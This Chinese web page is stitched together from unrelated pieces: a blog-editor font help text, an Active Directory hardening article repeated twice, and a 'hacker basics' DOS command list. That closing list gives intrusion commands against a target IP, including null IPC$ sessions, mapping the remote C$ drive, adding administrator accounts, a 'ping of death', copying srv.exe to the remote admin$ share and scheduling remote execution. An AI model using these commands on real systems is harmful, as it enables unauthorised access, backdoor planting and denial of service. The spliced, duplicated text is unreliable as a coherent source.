通常情况下所有文字内容都将被引用并应用引用格式(也即 xhtml 中的 blockquote 标签)。如果您不希望引用这些内容，请添加 -quote no 参数。

在网志编辑器中如何控制字体

Zoundry 网志编辑器尽可能采用 CSS 控制格式，以便使文章保持良好的代码结构。HTML 中的 <FONT> 标签没有为 Zoundry 采用，因为这个标签是 XHTML 1.0 标准所不推荐的。如果您的文章中含有 <FONT> 标签，它将会被转换为 CSS 样式代码。这里是一些关于 Zoundry 所支持的字体的信息(它们也被多数浏览器支持)。

字体大小:
如果您使用 Em (例如 "1.0em")、百分比("100%")这样的相对字体单位，则多数兼容 CSS 的浏览器将相对于父 HTML 元素应用字体大小显示文字。比如您的 HTML 和 body 的 font-size 为 100%(基准)，如果您在其中添加了一个 <P> 元素或 <SPAN> 元素，它的 font-size 为 65% (非常小)，这时此元素将以基准值的 65% 显示。现在，如果您在此段落中嵌套另一个元素，其 font-size 为 120%，则浏览器将会以其父元素的 120% 为字体大小渲染文字(在这里，父元素的字体大小为 65%)。但文字并不会像想象中得那么大(浏览器计算出的字体大小为 78% 左右)。

另一个相对单位是 Px(像素) (例如 "14px") - 在这种情况下，浏览器相对于屏幕(您的监视器)显示的基准单位计算字体大小。对多数用户而言，这种单位与绝对尺寸相同，因为他们的显示器是固定的。

CSS 指定的真正的绝对尺寸是 CSS 字体大小关键词(例如 font-size="medium")。

若您的旧文章中含有过时的 HTML FONT 标签，它将被转换为由内联 CSS 样式控制字体的 SPAN 元素。您可以为网志编辑器选择自己偏好的字号单位(em,px,percent, css-keyword 等等)，只要在设置对话框中选择"字体"部分进行配置即可。

在 Zoundry 的用户界面中可选的字号大小有 7 种(在下拉列表中)，分别是Smallest, Smaller, Small, Normal, Large, Larger and Largest。应用到 HTML 页面中的实际字号大小是根据字号单位确定的。默认定字号单位是 em，您可以在设置对话框中的"字体"部分更改字号单位。

我们建议您使用像 em 或百分比这样的相对字号。可用的字号(从 Smallest 到 Largest)以大约 1.2 的比例递增，除了 Smallest (考虑到可读性需要)被限制在 75%, 9px, 9pt 或 0.6em以外，具体数值取决于预设的字号单位。

字体名称:
应当注意的是，网志编辑器中列出的可用字体并非系统中实际安装的字体。您也许安装了数以百计的字体，但网志编辑器并不会显示所有的字体。相反，它只是从每个字体族类中选择了一些 "流行" 的字体。在所有字体列表的上方，Zoundry 显示了五种基于 CSS 通用字体族类的字体(Serif, Sans Serif, Monospace, Fantasy, and Cursive)。目前，选中一个 CSS 通用字体族类时应用到文本的具体字体是固定的。例如，选定 Serif 时应用字体族类"'Times New Roman',Georgia,serif"到您的 HTML 代码。

若您的旧有文章中含有 <FONT> 标签，它们将会被转换为带有内联 CSS 样式代码的 SPAN 元素。同样道理，当导入带有字体族类定义的 HTML 文件时，网志编辑器将尽力选取系统中可用的最为接近的字体族类－与浏览器的工作原理相似－进行匹配。如果没有找到合适的匹配，网志编辑器将尝试使用通用字体族类。例如 Lucida(通常在 Mac 系统中使用) 在网志编辑器中将被匹配为 Lucida Grande(Windows)

让AD更安全的5个步骤

让AD更安全的5个步骤

让AD更安全!是的，每个管理员都希望如此，但是要尽可能高地实现这个目标，您还是需要花上一点力气的，本文通过5个步骤，帮您理解如何来切实增强AD基础设施的安全。

　　活动目录(AD)中保存着能够对AD进行访问的重要密钥，如果不能恰当地增强AD的安全性，那么它很容易受到攻击。坦率地讲，增强AD的安全性并不简单，但是通过一些基本的步骤，您确实可以提高它的安全性。请注意我这里所说的是"基本"步骤。安全无止境，您总是可以找到提高安全性的方法，但是这些方法往往需要付出相应的代价。这些代价可表现为实际的花费，或者灵活性或功能性方面的损失。让我在这里向您展示5个步骤，实施这些步骤的代价并不算高，但它们却可以帮助您切实增强AD基础设施的安全性。

　　步骤1. 遵循管理员方面的最佳做法

　　您可以通过将手工操作(例如，安装域控制器)自动化的方法来增强AD的安全性，但是目前还没有出现能够将人类行为自动化的程序设计语言。因此，这就是您需要为管理员如何管理AD建立指南的原因。您需要确信您的管理员遵循了如下的最佳做法:

　　区分管理账号(administrative accounts)的使用。区分管理账号的使用已经成为许多组织的一个标准做法，但它仍然值得一提。如果管理员的机器不小心感染了病毒，那么潜在的威胁将会非常大，因为获得管理权限(right)后，病毒可运行程序或脚本。因此，对于日常操作，管理员应使用非特权账号(例如，用户账号);对于和AD有关的操作，管理员应使用一个独立的管理账号。当您通过一个非管理账号登录后，您可以使用Runas命令这类工具以管理员的身份打开程序。如需了解有关如何使用Runas命令的信息，请参阅Windows的帮助文件。

　　确保管理员机器的安全性。虽然要求您的管理员以非管理账号登录和使用Runas命令打开AD管理程序能够带来很多益处，但是如果运行这些工具的硬件系统不安全的话，您仍然处于危险之中。如果您不能确保管理员机器的安全性，那么您需要建立一个独立并且安全的管理员机器，并让管理员使用终端服务来访问它。为了确保该机器的安全，您可以将它放在一个特定的组织单元中，并在组织单元上使用严格的组策略设置。您还需要注意机器的物理安全性。如果管理员的机器被盗，那么机器上的所有东西都将受到威胁。

　　定期检查管理组(administrative group)的成员。攻击者获得更高特权(privilege)的手段之一就是将它们的账号添加到AD的管理组当中，例如Domain Admins、Administrators或Enterprise Admins。因此，您需要密切关注AD管理组中的成员。遗憾的是AD不具备当某个组的成员发生改变时发送提示信息的内建机制，但是编写一个遍历组成员的脚本并使脚本每天至少运行一次并不复杂。在这些组上面启用审核(Enabling Auditing)也是一个很好的主意，因为每次改变都会在事件日志中有一条对应的记录。

　　限制可以访问管理员账号(Administrator account)密码的人员。如果某个攻击者获得了管理员账号的密码，他将获得森林中的巨大特权，并且很难对他的操作进行跟踪。因此，您通常不应使用管理员账号来执行管理AD的任务。相反，您应该创建可替代的管理账号(alternative administrative accounts)，将这些账号添加到Domain Admins或Enterprise Admins组中，然后再使用这些账号来分别执行每个管理功能。管理员账号仅应作为最后一个可选择的手段。因为它的使用应该受到严格的限制，同时知道管理员密码的用户数量也应受到限制。另外，由于任何管理员均可修改管理员账号的密码，您或许还需要对该账号的所有登录请求进行监视。

　　准备一个快速修改管理员账号密码的方法。即使当您限制了可以访问管理员账号的人数，您仍然需要准备一个快速修改该账号密码的方法。每月对密码进行一次修改是一个很好的方法，但是如果某个知道密码(或具有修改密码权限)的管理员离开了组织，您需要迅速对密码进行修改。该指南同样适用于当您在升级域控制器时设置的目录服务恢复模式(Directory Service Restore Mode，以下简称DSRM)密码和任何具有管理权力的服务账号。DSRM密码是以恢复模式启动时用来进行登录的密码。您可以使用Windows Server 2003中的Ntdsutil命令行工具来修改这个密码。

　　当修改密码时，您应该使用尽量长的(超过20个字符)随机密码。对于管理员而言这种密码很难记忆。设置完密码后，您可将它交给某个管理人员，并由他来决定谁可以使用该密码。

　　准备一个快速禁用管理员账号的方法。对于绝大多数使用AD的组织，最大的安全威胁来自于管理员，尤其是那些对雇主怀恨在心的前管理员。即使您和那些自愿或不自愿离开公司的管理员是好朋友，您仍然需要迅速禁用账号上的管理访问权限。

　　步骤2. 遵循域控制器方面的最佳做法

　　在确信遵循了与管理员有关的最佳做法后，我们将注意力转移到域控制器(Domain Controller，以下简称DC)上面来，因为它们是许多AD实现中最容易受到攻击的目标。如果某个攻击者成功进入DC，那么整个森林将受到威胁。因此，您需要遵循如下最佳做法:

　　确保DC的物理安全性。DC的物理安全性是部署AD时需要考虑的最重要问题之一。如果某个攻击者获得了DC的物理访问权，他将有可能对几乎所有其它的安全措施进行破坏。当您将DC放置在数据中心时，DC的安全性并不存在问题;当在分支机构部署DC时，DC的物理安全性很可能存在问题。在分支机构中，DC经常存放在可以被非IT人员访问的带锁房间内。在一些情况下，这种方式不可避免，但是不管情况如何，只有被充分信任的人员才能够对DC进行访问。

　　自动化安装的过程。通常自动化任务的执行要比手工执行的安全性高。当安装或升级DC时尤其如此。安装和配置操作系统过程的自动化程度越高，DC的不确定因素就越少。当手工安装服务器时，对每台服务器人们的操作均存在细微的差别。即使完整地记录下所有过程，每台服务器的配置仍然会有所区别。通过安装和配置过程的自动化，您有理由确信所有DC均以同样的方式被配置并设置安全性。对于已经安装好的DC，您可以使用组策略这类工具来确保它们之间配置的一致性。

　　迅速安装重要的更新。在Windows NT时代，除非绝对需要，绝大多数管理员不会安装热修复程序(hotfix)或安全更新。更新经常存在缺陷并会导致进一步的问题。今天，我们就没有那么奢侈了。幸运的是微软提供的更新程序质量有了很大提高。因为DC是非常显眼的目标，所以您需要密切关注出现的每一个安全更新。您可以通过访问地址http://www.microsoft.com/security/bulletins/alerts.mspx来订阅并收到有关最新安全更新的Email通知。您可以通过自动更新(Automatic Updates)迅速地对安全更新进行安装，或者通过微软的Software Update Services(SUS)在测试后有选择地对其进行安装。

　　创建一个保留文件。在Windows Server 2003以前的操作系统中，如果用户具备在某个容器中创建对象的权限，那么将无法限制用户创建对象的数量。缺乏限制可以导致攻击者不断地创建对象以至耗尽DC硬盘空间。您可以通过在每个DC的硬盘上创建一个10M至20M的保留文件，以便在某种程度上降低这类风险的发生。如果DC的空间用完了，您可以删除上述保留文件，并在找到解决方案前留下一些解决问题的空间。

　　运行扫描软件。在DC上运行病毒扫描软件比在大多数服务器上运行该软件更为迫切，因为DC间不仅要复制目录信息，还要通过文件复制服务(File Replication Service，以下简称FRS)复制文件内容。不幸的是FRS为病毒提供了在一组服务器之间进行传播的简单途径。并且FRS通常还会对登录脚本进行复制，因此还会潜在地威胁到客户端的安全。运行病毒扫描软件可以大幅降低病毒复制到服务器和客户端的威胁。

　　步骤3. 遵循委派方面的最佳做法

　　错误地对保护AD内容的访问控制列表(ACL)进行配置将会使AD易于受到攻击。此外，如果委派实施得越复杂，那么AD的维护和问题解决工作就越难。因此我喜欢应用简洁的设计哲学。委派实施得越简单，您的麻烦就会越少，在安全方面尤为如此。事实上，上述哲学同样适用于AD的设计，在附文"设计决定安全"中将进行详细讨论。为了保持委派的简洁，我强烈建议您阅读"Best Practices for Delegating Active Directory Administration"一文(http://tinyurl.com/vzlg)。

　　不要将权限分配给用户账号。进行委派的基本原则之一就是除非有充分的理由，否则始终将权限分配给组而不是用户。当某个被您分配权限的用户离开公司或工作职能发生改变而再不需要某些访问权限时，您需要执行哪些操作?找到某个账号被赋予的权限，取消这些权限，然后再将它们赋予另外一个用户，要比将旧账号从某个组中删掉，再将一个新账号加入到该组中的工作量大得多。即使您认为赋予特定用户的权限永远不会被赋予其他用户，我还是建议您创建一个组，将用户加入到这个组中，然后再将权限分配给这个组。

　　不要将权限分配给单独的对象。当您直接将权限分配给单独的对象时(例如一个用户或一个组对象)，事情将会变得复杂起来。上述权限需要更多的维护，并且很容易在随后被忽视。为了避免问题的发生，您应该将权限尽量多地分配给组织单元或容器。

　　记录下使用的模型。在进行权限委派时，您需要完成的重要工作之一就是记录下使用的模型。您是否建立了一个基于角色的模型?请求访问权限的过程是什么?模型是否具有特例?所有这些重要问题都应该被记录，它不仅会使维护工作变得简单，而且将确保每个人都清楚权限应该如何被分配，并可以识别出没有按照模型进行分配的权限(它将使AD易于受到攻击)。记录模型的文档格式并不重要，但应能够方便管理员查找。

　　熟悉Dsrevoke的使用。您可通过Active Directory用户和计算机程序来运行控制委派向导(Delegation of Control wizard)，它能够很好地完成初始的访问委派工作。但是使用这个向导或其他图形工具来完成委派取消工作(例如从ACL中删除分配给某个账号的所有权限)却非常麻烦。幸运的是微软发布了Dsrevoke工具，它允许您遍历域中的所有ACL，并能够删除掉您指定账号的所有访问权限。您应该熟悉这个工具，因为它能够提高委派的效率。您可以通过网址http://www.microsoft.com/downloa ... &displaylang=en免费地下载该工具。

　　步骤4. 监视并审核您的AD

　　因为AD包含许多组件，所以确定何时有人对系统进行破坏比较困难。目前您仅能够遵循上述提到的最佳做法，但是您如何知道有人正在偷偷溜进您的系统呢?答案是监视和审核。

　　您至少需要监视DC的可用性(availability)。您也许已经在进行主机可用性的监视了，并用它来确保AD基础设施的可用性。但是从安全的角度而言，知道DC何时非正常停机更为重要，这样您就可以立即对原因进行相应的分析。也许远程站点的一台DC被盗或某个黑客取得了物理访问权并且正在关闭机器以便安装一个木马程序!

　　除了监视DC的可用性，您还可以使用性能监视器对许多AD的度量(measure)进行监视，这些度量包括轻量目录访问协议(Lightweight Directory Access Protocol，以下简称LDAP)查询的次数和复制数据的数量等内容。您可以为每个感兴趣的计数器设定一个阀值，然后对它们进行监视。如果您注意到，例如每秒钟LDAP查询请求次数或身份验证请求次数在一段时间内明显上升，这也许就是某种攻击的一个提示信息。为了获取更广泛的监视(甚至是警告)信息，您可以使用Microsoft Operation Manager这类工具。

　　Windows操作系统和AD提供的审核功能允许您将某些事件记录到安全事件日志中。您可以记录从操作系统配置更新到AD内部修改等任何事件。但是在启用审核时您需要谨慎考虑。如果审核的对象过多，那么安全日志中将会充斥过多的信息以至于很难找到您所需要的内容。为了获取审核对象方面的指导，请参阅"Best Practice Guide for Securing Active Directory Installations"一文(http://tinyurl.com/3c928)。

　　步骤5. 做最坏打算

　　也许安全规划最重要的方面就是建立一个如何应对成功攻击的预案。实施上述最佳做法并不能绝对确保安全。您也许已经建立起一个非常安全的AD基础设施，但是如果攻击者进行一次从未见过的AD攻击，您也许就会束手无策，因为您对它还不了解。这就是为什么做最坏打算显得如此重要的原因。如果您发现正处在这种情形下，您已经知道该如何应对了。如果您发现整个森林均受到威胁并且需要进行一次彻底的恢复，您将会因为事先考虑过这个过程而节省下宝贵的时间。

　　执行最佳做法

　　在本文中我们讨论了提高AD安全性的一些基本步骤，而且实施这些步骤的代价也很低。虽然讨论的内容仅仅涉及一些皮毛，但是如果您遵循上述步骤，您的AD将会变得更加安全。

　　设计决定安全

　　病毒、蠕虫、垃圾邮件以及拒绝服务攻击是互联网用户每天都需要面对的安全威胁。互联网之所以很容易受到攻击，是因为当初设计它的时候并没有考虑到安全性。它被设计成了一个开放的系统，并鼓励用户自由地交流和交换思想。互联网的建立者从未想到某一天它会取得商业上的巨大成功。从此互联网社群一直在设法增强一个不安全设计的安全性。

　　上述例子说明了某项技术的实现将最终决定如何来增强它的安全性，AD也不例外。如果您设计了一个开放的委派模型并将用户不需要的访问权限也分配给他们，或者您将域控制器部署到不安全的位置，那么您将需要花费很多时间用来增强整个实现的安全性。

　　我喜欢应用简洁的设计哲学。AD设计得越简单，您的麻烦就会越少，在安全性方面尤为如此。复杂的设计往往导致更多需要管理的内容，接下来就是对更多的内容进行安全方面的增强。我喜欢应用的一个基本原则就是"越少越好"。域越少，域控制器就越少。域控制器越少，管理员就越少。组织单元越少，需要委派的对象就越少。

让AD更安全的5个步骤

让AD更安全的5个步骤

让AD更安全!是的，每个管理员都希望如此，但是要尽可能高地实现这个目标，您还是需要花上一点力气的，本文通过5个步骤，帮您理解如何来切实增强AD基础设施的安全。

　　活动目录(AD)中保存着能够对AD进行访问的重要密钥，如果不能恰当地增强AD的安全性，那么它很容易受到攻击。坦率地讲，增强AD的安全性并不简单，但是通过一些基本的步骤，您确实可以提高它的安全性。请注意我这里所说的是"基本"步骤。安全无止境，您总是可以找到提高安全性的方法，但是这些方法往往需要付出相应的代价。这些代价可表现为实际的花费，或者灵活性或功能性方面的损失。让我在这里向您展示5个步骤，实施这些步骤的代价并不算高，但它们却可以帮助您切实增强AD基础设施的安全性。

　　步骤1. 遵循管理员方面的最佳做法

　　您可以通过将手工操作(例如，安装域控制器)自动化的方法来增强AD的安全性，但是目前还没有出现能够将人类行为自动化的程序设计语言。因此，这就是您需要为管理员如何管理AD建立指南的原因。您需要确信您的管理员遵循了如下的最佳做法:

　　区分管理账号(administrative accounts)的使用。区分管理账号的使用已经成为许多组织的一个标准做法，但它仍然值得一提。如果管理员的机器不小心感染了病毒，那么潜在的威胁将会非常大，因为获得管理权限(right)后，病毒可运行程序或脚本。因此，对于日常操作，管理员应使用非特权账号(例如，用户账号);对于和AD有关的操作，管理员应使用一个独立的管理账号。当您通过一个非管理账号登录后，您可以使用Runas命令这类工具以管理员的身份打开程序。如需了解有关如何使用Runas命令的信息，请参阅Windows的帮助文件。

　　确保管理员机器的安全性。虽然要求您的管理员以非管理账号登录和使用Runas命令打开AD管理程序能够带来很多益处，但是如果运行这些工具的硬件系统不安全的话，您仍然处于危险之中。如果您不能确保管理员机器的安全性，那么您需要建立一个独立并且安全的管理员机器，并让管理员使用终端服务来访问它。为了确保该机器的安全，您可以将它放在一个特定的组织单元中，并在组织单元上使用严格的组策略设置。您还需要注意机器的物理安全性。如果管理员的机器被盗，那么机器上的所有东西都将受到威胁。

　　定期检查管理组(administrative group)的成员。攻击者获得更高特权(privilege)的手段之一就是将它们的账号添加到AD的管理组当中，例如Domain Admins、Administrators或Enterprise Admins。因此，您需要密切关注AD管理组中的成员。遗憾的是AD不具备当某个组的成员发生改变时发送提示信息的内建机制，但是编写一个遍历组成员的脚本并使脚本每天至少运行一次并不复杂。在这些组上面启用审核(Enabling Auditing)也是一个很好的主意，因为每次改变都会在事件日志中有一条对应的记录。

　　限制可以访问管理员账号(Administrator account)密码的人员。如果某个攻击者获得了管理员账号的密码，他将获得森林中的巨大特权，并且很难对他的操作进行跟踪。因此，您通常不应使用管理员账号来执行管理AD的任务。相反，您应该创建可替代的管理账号(alternative administrative accounts)，将这些账号添加到Domain Admins或Enterprise Admins组中，然后再使用这些账号来分别执行每个管理功能。管理员账号仅应作为最后一个可选择的手段。因为它的使用应该受到严格的限制，同时知道管理员密码的用户数量也应受到限制。另外，由于任何管理员均可修改管理员账号的密码，您或许还需要对该账号的所有登录请求进行监视。

　　准备一个快速修改管理员账号密码的方法。即使当您限制了可以访问管理员账号的人数，您仍然需要准备一个快速修改该账号密码的方法。每月对密码进行一次修改是一个很好的方法，但是如果某个知道密码(或具有修改密码权限)的管理员离开了组织，您需要迅速对密码进行修改。该指南同样适用于当您在升级域控制器时设置的目录服务恢复模式(Directory Service Restore Mode，以下简称DSRM)密码和任何具有管理权力的服务账号。DSRM密码是以恢复模式启动时用来进行登录的密码。您可以使用Windows Server 2003中的Ntdsutil命令行工具来修改这个密码。

　　当修改密码时，您应该使用尽量长的(超过20个字符)随机密码。对于管理员而言这种密码很难记忆。设置完密码后，您可将它交给某个管理人员，并由他来决定谁可以使用该密码。

　　准备一个快速禁用管理员账号的方法。对于绝大多数使用AD的组织，最大的安全威胁来自于管理员，尤其是那些对雇主怀恨在心的前管理员。即使您和那些自愿或不自愿离开公司的管理员是好朋友，您仍然需要迅速禁用账号上的管理访问权限。

　　步骤2. 遵循域控制器方面的最佳做法

　　在确信遵循了与管理员有关的最佳做法后，我们将注意力转移到域控制器(Domain Controller，以下简称DC)上面来，因为它们是许多AD实现中最容易受到攻击的目标。如果某个攻击者成功进入DC，那么整个森林将受到威胁。因此，您需要遵循如下最佳做法:

　　确保DC的物理安全性。DC的物理安全性是部署AD时需要考虑的最重要问题之一。如果某个攻击者获得了DC的物理访问权，他将有可能对几乎所有其它的安全措施进行破坏。当您将DC放置在数据中心时，DC的安全性并不存在问题;当在分支机构部署DC时，DC的物理安全性很可能存在问题。在分支机构中，DC经常存放在可以被非IT人员访问的带锁房间内。在一些情况下，这种方式不可避免，但是不管情况如何，只有被充分信任的人员才能够对DC进行访问。

　　自动化安装的过程。通常自动化任务的执行要比手工执行的安全性高。当安装或升级DC时尤其如此。安装和配置操作系统过程的自动化程度越高，DC的不确定因素就越少。当手工安装服务器时，对每台服务器人们的操作均存在细微的差别。即使完整地记录下所有过程，每台服务器的配置仍然会有所区别。通过安装和配置过程的自动化，您有理由确信所有DC均以同样的方式被配置并设置安全性。对于已经安装好的DC，您可以使用组策略这类工具来确保它们之间配置的一致性。

　　迅速安装重要的更新。在Windows NT时代，除非绝对需要，绝大多数管理员不会安装热修复程序(hotfix)或安全更新。更新经常存在缺陷并会导致进一步的问题。今天，我们就没有那么奢侈了。幸运的是微软提供的更新程序质量有了很大提高。因为DC是非常显眼的目标，所以您需要密切关注出现的每一个安全更新。您可以通过访问地址http://www.microsoft.com/security/bulletins/alerts.mspx来订阅并收到有关最新安全更新的Email通知。您可以通过自动更新(Automatic Updates)迅速地对安全更新进行安装，或者通过微软的Software Update Services(SUS)在测试后有选择地对其进行安装。

　　创建一个保留文件。在Windows Server 2003以前的操作系统中，如果用户具备在某个容器中创建对象的权限，那么将无法限制用户创建对象的数量。缺乏限制可以导致攻击者不断地创建对象以至耗尽DC硬盘空间。您可以通过在每个DC的硬盘上创建一个10M至20M的保留文件，以便在某种程度上降低这类风险的发生。如果DC的空间用完了，您可以删除上述保留文件，并在找到解决方案前留下一些解决问题的空间。

　　运行扫描软件。在DC上运行病毒扫描软件比在大多数服务器上运行该软件更为迫切，因为DC间不仅要复制目录信息，还要通过文件复制服务(File Replication Service，以下简称FRS)复制文件内容。不幸的是FRS为病毒提供了在一组服务器之间进行传播的简单途径。并且FRS通常还会对登录脚本进行复制，因此还会潜在地威胁到客户端的安全。运行病毒扫描软件可以大幅降低病毒复制到服务器和客户端的威胁。

　　步骤3. 遵循委派方面的最佳做法

　　错误地对保护AD内容的访问控制列表(ACL)进行配置将会使AD易于受到攻击。此外，如果委派实施得越复杂，那么AD的维护和问题解决工作就越难。因此我喜欢应用简洁的设计哲学。委派实施得越简单，您的麻烦就会越少，在安全方面尤为如此。事实上，上述哲学同样适用于AD的设计，在附文"设计决定安全"中将进行详细讨论。为了保持委派的简洁，我强烈建议您阅读"Best Practices for Delegating Active Directory Administration"一文(http://tinyurl.com/vzlg)。

　　不要将权限分配给用户账号。进行委派的基本原则之一就是除非有充分的理由，否则始终将权限分配给组而不是用户。当某个被您分配权限的用户离开公司或工作职能发生改变而再不需要某些访问权限时，您需要执行哪些操作?找到某个账号被赋予的权限，取消这些权限，然后再将它们赋予另外一个用户，要比将旧账号从某个组中删掉，再将一个新账号加入到该组中的工作量大得多。即使您认为赋予特定用户的权限永远不会被赋予其他用户，我还是建议您创建一个组，将用户加入到这个组中，然后再将权限分配给这个组。

　　不要将权限分配给单独的对象。当您直接将权限分配给单独的对象时(例如一个用户或一个组对象)，事情将会变得复杂起来。上述权限需要更多的维护，并且很容易在随后被忽视。为了避免问题的发生，您应该将权限尽量多地分配给组织单元或容器。

　　记录下使用的模型。在进行权限委派时，您需要完成的重要工作之一就是记录下使用的模型。您是否建立了一个基于角色的模型?请求访问权限的过程是什么?模型是否具有特例?所有这些重要问题都应该被记录，它不仅会使维护工作变得简单，而且将确保每个人都清楚权限应该如何被分配，并可以识别出没有按照模型进行分配的权限(它将使AD易于受到攻击)。记录模型的文档格式并不重要，但应能够方便管理员查找。

　　熟悉Dsrevoke的使用。您可通过Active Directory用户和计算机程序来运行控制委派向导(Delegation of Control wizard)，它能够很好地完成初始的访问委派工作。但是使用这个向导或其他图形工具来完成委派取消工作(例如从ACL中删除分配给某个账号的所有权限)却非常麻烦。幸运的是微软发布了Dsrevoke工具，它允许您遍历域中的所有ACL，并能够删除掉您指定账号的所有访问权限。您应该熟悉这个工具，因为它能够提高委派的效率。您可以通过网址http://www.microsoft.com/downloa ... &displaylang=en免费地下载该工具。

　　步骤4. 监视并审核您的AD

　　因为AD包含许多组件，所以确定何时有人对系统进行破坏比较困难。目前您仅能够遵循上述提到的最佳做法，但是您如何知道有人正在偷偷溜进您的系统呢?答案是监视和审核。

　　您至少需要监视DC的可用性(availability)。您也许已经在进行主机可用性的监视了，并用它来确保AD基础设施的可用性。但是从安全的角度而言，知道DC何时非正常停机更为重要，这样您就可以立即对原因进行相应的分析。也许远程站点的一台DC被盗或某个黑客取得了物理访问权并且正在关闭机器以便安装一个木马程序!

　　除了监视DC的可用性，您还可以使用性能监视器对许多AD的度量(measure)进行监视，这些度量包括轻量目录访问协议(Lightweight Directory Access Protocol，以下简称LDAP)查询的次数和复制数据的数量等内容。您可以为每个感兴趣的计数器设定一个阀值，然后对它们进行监视。如果您注意到，例如每秒钟LDAP查询请求次数或身份验证请求次数在一段时间内明显上升，这也许就是某种攻击的一个提示信息。为了获取更广泛的监视(甚至是警告)信息，您可以使用Microsoft Operation Manager这类工具。

　　Windows操作系统和AD提供的审核功能允许您将某些事件记录到安全事件日志中。您可以记录从操作系统配置更新到AD内部修改等任何事件。但是在启用审核时您需要谨慎考虑。如果审核的对象过多，那么安全日志中将会充斥过多的信息以至于很难找到您所需要的内容。为了获取审核对象方面的指导，请参阅"Best Practice Guide for Securing Active Directory Installations"一文(http://tinyurl.com/3c928)。

　　步骤5. 做最坏打算

　　也许安全规划最重要的方面就是建立一个如何应对成功攻击的预案。实施上述最佳做法并不能绝对确保安全。您也许已经建立起一个非常安全的AD基础设施，但是如果攻击者进行一次从未见过的AD攻击，您也许就会束手无策，因为您对它还不了解。这就是为什么做最坏打算显得如此重要的原因。如果您发现正处在这种情形下，您已经知道该如何应对了。如果您发现整个森林均受到威胁并且需要进行一次彻底的恢复，您将会因为事先考虑过这个过程而节省下宝贵的时间。

　　执行最佳做法

　　在本文中我们讨论了提高AD安全性的一些基本步骤，而且实施这些步骤的代价也很低。虽然讨论的内容仅仅涉及一些皮毛，但是如果您遵循上述步骤，您的AD将会变得更加安全。

　　设计决定安全

　　病毒、蠕虫、垃圾邮件以及拒绝服务攻击是互联网用户每天都需要面对的安全威胁。互联网之所以很容易受到攻击，是因为当初设计它的时候并没有考虑到安全性。它被设计成了一个开放的系统，并鼓励用户自由地交流和交换思想。互联网的建立者从未想到某一天它会取得商业上的巨大成功。从此互联网社群一直在设法增强一个不安全设计的安全性。

　　上述例子说明了某项技术的实现将最终决定如何来增强它的安全性，AD也不例外。如果您设计了一个开放的委派模型并将用户不需要的访问权限也分配给他们，或者您将域控制器部署到不安全的位置，那么您将需要花费很多时间用来增强整个实现的安全性。

　　我喜欢应用简洁的设计哲学。AD设计得越简单，您的麻烦就会越少，在安全性方面尤为如此。复杂的设计往往导致更多需要管理的内容，接下来就是对更多的内容进行安全方面的增强。我喜欢应用的一个基本原则就是"越少越好"。域越少，域控制器就越少。域控制器越少，管理员就越少。组织单元越少，需要委派的对象就越少。

必须要掌握的DOS命令全集

1 黑客基础之DOS （最齐全）
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为
H:
net use h: \\ip\c$ 登陆后映射对方C：到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名　密码　/add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把"用户"添加到管理员中使其
具有管理员权限,注意：administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名　 开启服务；(如:net start telnet， net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加
上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C：共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况，常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip
协议使用情况）
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的
用户名（03前的为用户名）-注意：参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数："-w数字"用于设
置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数："-l[空格]
数据包大小"；"-n发送数据次数"；"-t"指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，
ipconfig可用参数"/all"显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装
目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安
装的，在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除
只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏
、系统、存档以外的文件。例如"DEL/AR *.*"表示删除当前目录下所有只读文
件，"DEL/A-S *.*"表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和
文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作有相同）
move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件 ，
用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件
中，"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP（属telnet登陆后的命令）
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数
/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
